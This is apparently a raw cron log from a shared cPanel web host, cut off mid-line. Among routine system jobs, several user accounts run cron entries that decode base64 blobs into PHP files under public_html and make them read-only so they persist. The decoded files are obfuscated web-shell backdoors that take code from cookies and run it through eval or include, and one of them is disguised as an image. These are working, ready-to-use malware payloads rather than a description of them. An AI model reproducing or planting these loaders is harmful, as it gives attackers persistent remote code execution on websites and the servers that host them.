Mar  2 09:05:02 medusa CROND[12472]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:06:01 medusa CROND[27037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:06:01 medusa CROND[27256]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:06:01 medusa CROND[27257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:06:01 medusa CROND[27258]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:06:01 medusa CROND[27259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:06:01 medusa CROND[27266]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:06:01 medusa CROND[27268]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:06:01 medusa CROND[27267]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:06:01 medusa CROND[27269]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:06:01 medusa CROND[27290]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:06:01 medusa CROND[27292]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:06:01 medusa CROND[27293]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:06:01 medusa CROND[27295]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:06:01 medusa CROND[27298]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:06:01 medusa CROND[27300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:07:01 medusa CROND[14719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:07:01 medusa CROND[14749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:07:01 medusa CROND[14750]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:07:01 medusa CROND[14751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:07:01 medusa CROND[14752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:07:01 medusa CROND[14753]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:07:01 medusa CROND[14758]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:07:01 medusa CROND[14759]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:07:01 medusa CROND[14760]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:07:01 medusa CROND[14762]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:07:01 medusa CROND[14763]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:07:01 medusa CROND[14765]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:08:01 medusa CROND[778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:08:01 medusa CROND[1123]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:08:01 medusa CROND[1125]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZj